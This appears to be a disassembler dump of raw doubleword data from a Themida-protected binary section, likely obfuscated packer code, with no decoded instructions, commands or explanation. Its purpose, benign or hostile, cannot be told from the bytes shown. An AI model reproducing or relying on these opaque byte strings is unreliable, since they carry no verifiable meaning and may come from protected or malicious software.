dd 1A0424h, 57470000h, 79FA11C3h, 0C38D6D53h, 68C0Fh, 9D8B0000h
dd 5E20A79h, 0BB9DBD83h, 0F0005E5h, 47084h, 11E900h, 0C2DA0000h
dd 648E4B79h, 62D486A6h, 99F303C8h, 0FF4F334Eh, 0E5BB9DB5h
dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h
dd 0C3514100h, 0A64EC281h, 0ECCF9A58h, 16BEBF4Ch, 95FF2182h
dd 5E2172Dh, 518D8B60h, 0E805E223h, 6, 0E0B491BAh, 0EE8A2E9Ch
dd 0B58B615Bh
dd 5E5BB91h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ah, 0F6C35242h, 0D4284B13h, 6C7931Ch, 10001h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0B1C35242h, 0DE942BCAh
dd 0EE96258h, 0F5000000h, 0CA082D5Fh, 0F31D56ACh, 0F6363B73h
dd 0B0B39671h, 7E04BF50h, 0B96352Dh, 0E20B45BDh, 9DB5FF05h
dd 6A05E5BBh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 3193C355h, 11D53796h, 0D195FF93h
dd 6A05E22Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 8A2CC357h, 8BDABF0Fh, 0E5BB91B5h
dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 7D9D8BEBh, 8B05E205h, 0E210DD85h, 51006A05h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 0A7759866h, 0F0E03841h, 24A19501h, 896005E2h, 0E200D59Dh
dd 9E905h, 6C240000h, 7292B881h, 61923EC0h, 0C48689h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 0D16D4FC3h, 0D49B9EAEh, 8B6DE361h, 0E20BE995h, 91BD8905h
dd 8305E22Ch, 9D0304C2h, 5E20939h, 6A205089h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 73CBC357h, 0BD47E493h, 7A356C38h, 0FC9B589h, 858D05E2h
dd 5E5CE5Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 18h, 0A2C35343h, 8222A780h, 5810Fh, 81660000h, 896556F7h
dd 0B886h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1904h, 0C3504000h, 0E2554949h, 6AF51D8Eh, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 711A1B32h, 9DB5FF47h, 6A05E5BBh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0A4CEC357h
dd 0ED925579h, 0D25209A7h, 21A1EF81h, 95FF7033h, 5E214E9h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0D3C35545h
dd 2A973238h, 0ADDD06DFh, 1958940h, 5005E20Ah, 57505250h
dd 310F5B5Fh, 10860Fh, 0BE90000h, 0CA000000h, 49E1D84Ah
dd 0FFB29ABDh, 585A6CC2h, 66243489h, 0D832C781h, 0BB9DB5FFh
dd 830F05E5h, 5, 0DE8B6656h, 2195FF5Bh, 0E805E22Dh, 9
dd 6D2CD84Fh, 8E479FE0h, 499D8B28h, 5F05E214h, 89BD83h
dd 0F0005E2h, 5F84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 5CF9AAC8h, 85890C2Eh
dd 5E20C75h, 0E8D9D89h, 505005E2h, 0BBDBB52h, 310F1B8Eh
dd 3489585Ah, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1B04h, 0C3534300h, 872EA52h, 0E751A649h, 0BB9DB5FFh
dd 858905E5h, 5E22F8Dh, 31199D89h, 95FF05E2h, 5E20415h
dd 2ECF8150h, 5F591C2Eh, 0BB9DB5FFh, 6A05E5h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 36BD8DC3h
dd 5995FF30h, 5205E20Ah, 11599D8Bh, 835F05E2h, 0E224CDBDh
dd 840F0205h, 65h, 6A5B589h, 858B05E2h, 5E21F35h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 60C35040h, 0B87F7F1Ch
dd 800FC9F0h, 0C690E3h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 9C50A11h, 0E211698Dh
dd 31858905h, 8905E211h, 0E21611B5h, 0F985C705h, 5E20Ch
dd 8B000000h, 0E21DF99Dh, 0F1EEE905h, 6AFFFFh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 0FD1EFC3h, 0C18BDAB7h, 29BD23h, 858D05E2h, 5E20E91h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 57C35242h
dd 0B8A180CCh, 0EB5FBB32h, 0DF8B0E08h, 870F6090h, 0Ah
dd 5E9h, 61E6B000h, 10E8103Dh, 0F0000000h, 5730D942h, 5C1F8633h
dd 91299994h, 58B60D49h, 0FE8B5061h, 55006A90h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 6FEC608h, 0F6011CEh
dd 18Dh, 8166F900h, 618B08CEh, 16BF006Ah, 31671216h, 0E21DED9Dh
dd 66006A05h, 858DD98Bh, 5E6974Fh, 49DB529h, 0C08305E2h
dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 9A19C9D2h, 0F4E3B2D6h, 7E99Dh, 0E64E0000h
dd 0AC148B27h, 719589F8h, 5005E221h, 489FC8Ah, 52006A24h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 0BD8B5609h, 5E209F1h, 170D9D29h, 8A0F05E2h, 8, 810F51h
dd 5F000000h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 0D6223C3h, 801F1A61h, 6A006A7Ah
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 0F27C353h, 3160DFB7h, 0E214B5B5h, 81666005h
dd 616162C8h, 2D95FF61h, 6A05E21Eh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8DD7C357h
dd 0E59D808Dh, 50006A05h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 0DEFE4EAAh, 0E5F2A002h
dd 8E465EBFh, 6AD1FF44h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 7A68C355h, 3830FABh
dd 80000000h, 0BD8306CFh, 5E200B9h, 83850F01h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 0BFB8C350h, 0EDBD8990h, 6A05E204h, 2D9D8B02h
dd 8B05E214h, 0E211419Dh, 0FB8B9005h, 0F98B6650h, 0E5BD8990h
dd 0FF05E20Ch, 0E214E995h, 50006A05h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 0B3E12214h
dd 0FE9h, 0CD6D9300h, 0BC68A25Ch, 1D3D3CEAh, 6D1EC628h
dd 0B284BF66h, 47DB509h, 0E3E905E2h, 0E800000Dh, 0
dd 59ED815Dh, 6605E697h, 0FC45F781h, 1DED9D0Bh, 858D05E2h
dd 5E58E9Eh, 0E1BD8B56h, 5F05E232h, 2ABB5350h, 5F2CD822h
dd 0E8240489h, 0Bh, 1B4108FAh, 0F32EED43h, 0E93BF05Ah
dd 0Fh, 0E9E6A80Bh, 0C4C85DDAh, 7ED6FE16h, 5F14CAC0h, 105D9531h
dd 0FF6405E2h, 35h, 0FE800h, 0CF90000h, 0A315FA9h, 69E82CE5h
dd 5E36F3CAh, 959D8B34h, 5B05E20Ah, 258964h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 1CD3C350h, 11E9h, 90676600h, 0D6D68688h
dd 0E596FFE6h, 186BE7E0h, 0FE87C4Eh, 77000000h, 0C1DA45FEh
dd 0E43D0D86h, 9D691579h, 9D33738Dh, 5E21639h, 2985FF5Fh
dd 3305E223h, 0E20B65BDh, 0E9FF6A05h, 0Ah, 42AF8BC0h, 0F0C4726Eh
dd 0B5FFA965h, 5E2325Dh, 0FFFFB70Fh, 0E2189D95h, 141E905h
dd 78BF0000h, 0B054DB2Ch, 0FBBB6600h, 2370E651h, 0E23149BDh
dd 0F71E405h, 1781h, 12E900h, 0C1530000h, 12F07BFDh, 1A67000Bh
dd 0C4D614A5h, 836DE194h, 830F613Ch, 107h, 0B60FFA8Bh
dd 0F1BD8BC8h, 0BA05E214h, 6, 0C2816660h, 8B66D798h, 0C18B61CAh
dd 10E8h, 0C53A00h, 2A90B951h, 0C9B2F402h, 0D73758B9h
dd 1BF3813Eh, 5B11D1EFh, 0F04E8C1h, 0F766F9BFh, 0BE8E2h
dd 64210000h, 0DBAFDA73h, 9D8D4F3Fh, 10E9C9h, 0CA330000h
dd 922ECE5h, 7FD65187h, 5DFFF349h, 2B5B045Bh, 8E9C8h, 0C1110000h
dd 0FBD2D293h, 0D18BE00Dh, 0FE9h, 38E0F00h, 66000000h
dd 9589DE8Bh, 5E21A81h, 1519858Bh, 8D8905E2h, 5E225D1h
dd 0F507C083h, 6600C083h, 0D03BDA8Bh, 16830Fh, 9D010000h
dd 5E22339h, 6A5BD01h, 4CE905E2h, 0BF000000h, 4E421F69h
dd 1CDD8D8Bh, 0BD0105E2h, 5E21F05h, 0F01E183h, 3284h, 8860F00h
dd 0F000000h, 28Fh, 83FA8B00h, 0E21CDDA5h, 0BD8BFE05h
dd 5E20AA5h, 15199589h, 0BD0905E2h, 5E215C5h, 0CCDBD8Bh
dd 0E905E2h, 8D000000h, 0E6126DB5h, 56006A05h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 11E98847h
dd 4F000000h, 398E86F0h, 23C802F6h, 0A34B7C7Fh, 1D7CD906h
dd 1419589h, 6A05E2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 25C35343h, 0BF0FEA98h, 0B995FFDFh, 6605E20Ah
dd 0BD23FB8Bh, 5E22105h, 863B9h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 870F23E5h
dd 4, 0FA92BB66h, 6AFCE183h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 605CC353h, 0EF1CF025h
dd 69958950h, 5B05E232h, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 9D8BEA1Eh, 5E208A5h, 26A99D89h
dd 0B805E2h, 29000000h, 0E2303D95h, 6AD22B05h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 9E0BC355h, 2B0664EEh, 0E20B459Dh, 0C233AD05h, 0D003E8D1h
dd 7504E983h, 7D9D89F4h, 5005E226h, 5DB5895Bh, 0D05E218h
dd 88h, 0FC8A5250h, 958B5B5Fh, 5E20BE9h, 5219D8Bh, 8D8B05E2h
dd 5E20761h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 0F4C35141h, 13820Fh, 0DE80000h, 0C9000000h, 37E57777h
dd 6A38DBDAh, 4F9DE351h, 6BBB665Bh, 0C28B5085h, 0C103188Bh
dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 2E11C352h
dd 0B6E6AFAFh, 56CC923Ah, 59858956h, 5B05E21Bh, 0F88B665Bh
dd 0D79BD83h, 0F0005E2h, 8184h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 9E90ED4h, 0E209A9BDh
dd 0B805h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1D0424h, 55450000h, 1EAFBC3h, 0D36EE57Ch, 89A1DB29h
dd 0E213D595h, 428D8D05h, 8B05E24Ch, 0E22BCDBDh, 6AE1FF05h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 75B3C355h, 0BD83F8C0h, 5E21B55h, 0D0840F00h
dd 0F000004h, 584h, 0E7816600h, 0BD834401h, 5E21B55h, 0D3840F01h
dd 83000004h, 0E21B55BDh, 860F0305h, 490h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 38C35646h, 0FB8C79CDh
dd 50006A60h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 4BB99AAAh, 29818589h, 0BD0105E2h, 5E21769h
dd 60D98C66h, 2FCEF5B8h, 0EE843h, 4DB10000h, 8F093AC7h
dd 0DDF10E4Ch, 7EA853FEh, 6158FCB7h, 6A04E180h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 0F706C356h, 1D90C27Bh, 8166481Dh, 0A91D2C3h, 33840FC9h
dd 51000001h, 8B5FFA8Bh, 0E2164D9Dh, 1D858B05h, 6A05E224h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 0EEC2C350h, 2D199D23h, 853305E2h, 5E22AA9h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 3FC35040h
dd 5003879Bh, 0EE85250h, 99000000h, 3B06E5E4h, 0FE770A5Bh
dd 86C1DA45h, 0F52500Dh, 5F585A31h, 585A310Fh, 0E9240489h
dd 6, 0C0F19B81h, 6AE007h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 14h, 2AC35747h, 6843E780h, 875FFCFCh, 0D98B5250h
dd 585A310Fh, 3240481h, 6A78BF07h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 96E2C351h
dd 0ACBC2AA2h, 66DBBF0Fh, 95FFDA8Bh, 5E20839h, 0D759D8Bh
dd 858905E2h, 5E5BB9Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 33C35343h, 0E9FFBF0Fh, 259h, 0FE8h, 0D4E3D200h
dd 7B50C8E9h, 0BAC27545h, 2D78F3B4h, 5BF88B66h, 858BD98Bh
dd 5E5BB95h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 96C35646h, 96DA68D0h, 0EB20738Ah, 0C7F88B66h, 1800h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 158895D7h, 0F56FF232h, 0BB99B58Bh, 6A05E5h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 4B5EB7C3h, 858BD98Bh, 5E200F9h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 0A9C35040h, 6A06893Eh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 2265C351h, 0BF0F43C8h, 1D858BFFh, 6A05E224h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 0E3F5C355h, 0B44B2F21h, 816637E2h, 8B1039DFh, 0E218899Dh
dd 4468905h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 96C35747h, 880F5196h, 0Ch, 7E9h, 75EF8500h, 8B8131E4h
dd 10E9505Bh, 9E000000h, 3236C5Eh, 415A4ADCh, 4EB5A675h
dd 9651FFD7h, 21999D29h, 0B5FF05E2h, 5E5BB95h, 0E853006Ah
dd 3
dd 5BC35B20h, 4245C89h, 4244481h, 1Bh, 55C35343h, 0E169E1F8h
dd 6697ECA8h, 68ADCDBBh, 86B4C4EBh, 0F9EB460h, 683h, 850F00h
dd 61000000h, 14240481h, 6A796A3Fh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 62ACC356h
dd 9D858D70h, 6A05E5BBh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 17042444h, 46000000h, 6F67C356h, 890F1596h
dd 6, 22E5B529h, 9D8B05E2h, 5E2095Dh, 89FE8B50h, 6A2404h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 0BF6671C3h, 41B35A30h, 83995FFh, 6A05E2h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 170424h, 52420000h, 34EDA1C3h
dd 0F585014Dh, 105E208h, 0E22B158Dh, 6A6105h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 171E70C3h
dd 0E95D6819h, 8, 6111B302h, 6AEFB476h, 1B5585C7h, 305E2h
dd 0AE90000h, 6E000000h, 5FD3C473h, 0DEE9823Bh, 9DBD839Bh
dd 5E5BBh, 2A840Fh, 8B500000h, 3CE95BF9h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 0BFE0C350h, 302AAE28h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 6AC08B00h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 0D4C5C350h, 6095FFFBh
dd 0F58D09E4h, 0F05E208h, 68Fh, 0F1BD2900h, 8305E223h
dd 0E21B55BDh, 850F0305h, 3C4h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 0D7C35242h, 0B7177C4Bh, 0BD83FB8Bh
dd 5E5BB9Dh, 95840F00h, 6A000003h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 6B4BC357h
dd 6695D2DCh, 9EC8D381h, 30D18589h, 0DB8105E2h, 68B2CB0Bh
dd 0BB9DB5FFh, 816605E5h, 0FF84C5C3h, 0E2172D95h, 91B58B05h
dd 5105E5BBh, 6C75FF8h, 10001h, 6880Fh, 0BD8B0000h, 5E20979h
dd 0AE9h, 78E1D900h, 1CDB3E9Bh, 96B839E8h, 52505250h, 0FF98B66h
dd 0F585A31h, 12E831h, 0D2DD0000h, 9C4EF80Ch, 61EADB1Ch
dd 65284219h, 220B2451h, 8D0Fh, 5A5F0000h, 8B965058h, 0E22671BDh
dd 9DB5FF05h, 6A05E5BBh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 0AE0EC351h, 8760DF81h
dd 95FF0561h, 5E22BD1h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 6AC35242h, 0A652B552h, 5655F054h, 5FC4DF80h
dd 0CC18589h, 0B58B05E2h, 5E5BB91h, 0EB61BB66h, 10DD858Bh
dd 6A05E2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 0CDFB0C3h, 8D88BDD7h, 80657B30h, 86894ADBh
dd 0C4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 0A3C35343h, 0EA68C0ECh, 893AF970h, 0E21379B5h
dd 0D7816605h, 958B5B19h, 5E20BE9h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 0EC35242h, 0EA4DD244h, 664E2CE3h
dd 3F4BDF81h, 32B19589h, 0C28305E2h, 89DE8B04h, 6A2050h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 417743C3h, 0C03B5568h, 10E961h, 73BA0000h, 8DC33C50h
dd 8F06F149h, 7B66E803h, 8A0F6583h, 6, 0AFDBD8Bh, 858D05E2h
dd 5E5CE5Bh, 1495BD8Bh, 9D8B05E2h, 5E21345h, 0B88689h
dd 8B660000h, 8A006AD8h, 9DB5FFDCh, 6A05E5BBh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 0DCDBC357h, 0FF50D922h, 0E214E995h, 619D2305h, 5005E20Dh
dd 89DF8B66h, 9D292434h, 5E224BDh, 0BB9DB5FFh, 6A05E5h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 418932C3h, 21419D23h, 95FF05E2h, 5E22D21h, 0BD83D98Bh
dd 5E20089h, 2E840F00h, 8A000000h, 0BB6650DEh, 348943D5h
dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h
dd 0C3504000h, 8B1FED9Ah, 0E22C6DBDh, 9DB5FF05h, 0E905E5BBh
dd 11h, 453A5B8Bh, 0E17DC95Eh, 12DCABF4h, 4BCE605Fh, 1595FF25h
dd 0E905E204h, 13h, 0ADE8D016h, 0F2CEA99Dh, 9DCB8713h
dd 0B6D39A7h, 0FF51E495h, 0E5BB9DB5h, 45B58905h, 0FF05E217h
dd 0E20A5995h, 50006A05h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 89D0046Dh, 0E204AD9Dh
dd 0CDBD8305h, 205E224h, 52840Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 8BF92AC3h
dd 0E21F3585h, 850F05h, 3000000h, 0E2225DBDh, 0C605h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0A9C35242h, 1B38D2D1h
dd 0CF985C7h, 5E2h, 95890000h, 5E23031h, 0FFF314E9h, 18D89FFh
dd 8B05E211h, 666060C1h, 8B1453BEh, 0E2168D85h, 8B666105h
dd 858D61D0h, 5E20E91h, 0CFDBD89h, 0F9005E2h, 0C85h, 66525000h
dd 0F93D7BFh, 5A616031h, 8D0F5058h, 2, 2390DF8Bh, 0E21C59BDh
dd 0E8006A05h, 6, 13267987h, 5FFC3E7Bh, 6A006Ah, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0D4A184C3h, 0B6F15927h, 858D83A3h, 5E6A6ABh, 0F896BF66h
dd 8B05C083h, 0E21A45BDh, 14E95005h, 0F8000000h, 0D7B3481Bh
dd 0F704FA8Ah, 0B427A99h, 0C8DEC450h, 892F158Fh, 6A2404h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 272DCCC3h, 358E4A18h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 5A87ECC3h, 215D8589h
dd 6A05E2h, 1E2D95FFh, 0BD8905E2h, 5E22F8Dh, 5E9h, 0C271AF00h
dd 8D8DE85Eh, 5E59D80h, 17959589h, 9D3105E2h, 5E230F9h
dd 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 958980C3h, 5E20D7Dh, 398C381h, 0BD8379DEh
dd 5E200B9h, 37850F01h, 0F000000h, 682h, 5BD2300h, 6A05E21Fh
dd 9D9D2902h, 5005E22Fh, 0CE9h, 0B011A000h, 0DF217341h
dd 0F3D63D77h, 24048982h, 1E69BD89h, 95FF05E2h, 5E214E9h
dd 0EAE9FA8Bh
db 0Fh, 2 dup(0)
byte_538367 db 0E8h ; DATA XREF: Themida_:004EFE14o
dd 0
dd 0B5ED815Dh, 6A05E6A6h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 0AD40C357h, 13571085h
dd 1F7E4FDAh, 0A41BD2Bh, 858D05E2h, 5E58E9Eh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 19C35040h, 0E842992h
dd 0B7C3F4D9h, 605690EDh, 13E8h, 0E4761100h, 90ADAD38h
dd 5684B1BEh, 316A98A5h, 0D58F88AFh, 505B615Fh, 8D0F5250h
dd 2, 310FC4B7h, 0E850Fh, 9E90000h, 0D2000000h, 0EE0366Dh
dd 9AE8273Dh, 6A90585Ah, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 71FAC352h, 9C64EC27h
dd 0D98DD332h, 471BD8Bh, 0FF6405E2h, 35h, 0BD895200h, 5E22B49h
dd 2589645Fh, 0
dd 0EE37F5BFh, 2985FF4Ch, 6A05E223h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0A1B5C351h
dd 0D07939DBh, 0FF6A6F75h, 9AEF8153h, 5F153C79h, 1CD1B5FFh
dd 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 0CA4FE6C3h, 32DA3CF9h, 79D3C781h, 95FF249Dh
dd 5E2189Dh, 129E9h, 0B0F500h, 0D6CEB81h, 70E6457Ch, 7759D8Bh
dd 71E405E2h, 9E9h, 60853D00h, 0F65A21B4h, 613CC3EDh, 100830Fh
dd 81660000h, 0BB9F7FEFh, 1C8A5858h, 8BC8B60Fh, 0E20E85BDh
dd 0DB58905h, 0BA05E216h, 6, 14EABB66h, 7E9C18Bh, 0BD000000h
dd 1E72695h, 0E8C18A57h, 10E904h, 0B2C30000h, 9E2150EEh
dd 40E31E24h, 0FF579CB7h, 0F766E8D1h, 0C59D8BE2h, 2B05E21Eh
dd 0ABF66C8h, 0F8D18B84h, 19E9h, 14E900h, 70E20000h, 9C5C2761h
dd 0D13D28CAh, 9728549Eh, 0A9C94280h, 858B4572h, 5E21995h
dd 100DBD8Bh, 0C08305E2h, 13E907h, 9FF00000h, 7E340857h
dd 0A3E81696h, 6E1EA98Dh, 6A6A6336h, 0B58D89ABh, 8305E201h
dd 0BD8B00C0h, 5E203F9h, 830FD03Bh, 10h, 2FD19529h, 3FE905E2h
dd 8B000000h, 0D8BF0FFAh, 0DD8D8Bh, 7BB705E2h, 0F01E183h
dd 2984h, 0BE900h, 0ADDD0000h, 1DD01140h, 1B5172DDh, 0DDA58373h
dd 0FE05E200h, 959589FCh, 2305E219h, 0E22CD9BDh, 0E905h
dd 0B58D0000h, 5E61D13h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 0AEC35545h, 5B13068Dh, 0C7DEFDA2h, 14E9h
dd 4AB7C00h, 0AA88E406h, 0E47D0A39h, 0A8B22DB9h, 0F0F4D807h
dd 719D8BB5h, 6A05E214h, 0BD336000h, 5E21889h, 0FE9h, 46926400h
dd 0DBAC85F1h, 49EBC85Ah, 443050D7h, 0B995FF61h, 5205E20Ah
dd 21F99D8Bh, 0B95F05E2h, 89Eh, 10E8h, 0C4B8B300h, 4131A406h
dd 78233362h, 53C31A7Dh, 0AE99Fh, 99670000h, 0A149DD0Ah
dd 789ECDA7h, 6830F5Fh, 89000000h, 0E22651B5h, 0FCE18305h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0ADC35747h
dd 6850F40h, 29000000h, 0E22CF98Dh, 6880F05h, 3000000h
dd 0E209E19Dh, 0C02BFC05h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 0DC35040h, 9DBD31A0h, 2B05E208h, 56006AD2h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0C5384C41h, 5E9h, 7E9BB800h, 8166CDB3h, 0AD6C9BEFh
dd 0E8D1C233h, 0E983D003h, 0E8F47504h, 0Ah, 39AD6CF0h
dd 44E8610Bh, 0BD8BBB84h, 5E20D3Dh, 55006A5Bh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 86E56423h
dd 969CE869h, 7E84FB4h, 0C3000000h, 8D84663Bh, 80604474h
dd 0B70F94E3h, 0D5F61F2h, 88h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 97C35040h, 84999964h, 18F19D8Bh
dd 0F6005E2h, 68Fh, 659D8900h, 6105E204h, 0BE9958Bh, 0BD0B05E2h
dd 5E209FDh, 0CE9h, 0AE566F00h, 0B65CE155h, 0E4738EE0h
dd 618D8B27h, 6A05E207h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 1D6AC352h, 0BB07913Fh
dd 0EF8157DBh, 52F5C5F9h, 359D895Bh, 5005E201h, 188BC28Bh
dd 188BC103h, 0E8D1C18Bh, 188BC203h, 51006A58h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 4C5D76E8h
dd 5BC714F4h, 13E8h, 85211900h, 8DE7521Ch, 2D6E5745h, 6414A3A1h
dd 1427A904h, 0F8D8D29h, 6A5F05E2h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0BDBEC351h
dd 0CCD9D29h, 8B6653DDh, 0BD835FFAh, 5E20D79h, 0BF840F00h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 9FDDC355h, 5F5353BAh, 0B85Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
dd 52420000h, 78A87DC3h, 0B70F7E88h, 428D8DDAh, 6A05E24Ch
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 47B3C350h, 841A64C2h, 13E95641h, 30000000h
dd 99A681D2h, 2A10C2FBh, 0AC91C282h, 9FC563C7h, 0FF5F46D2h
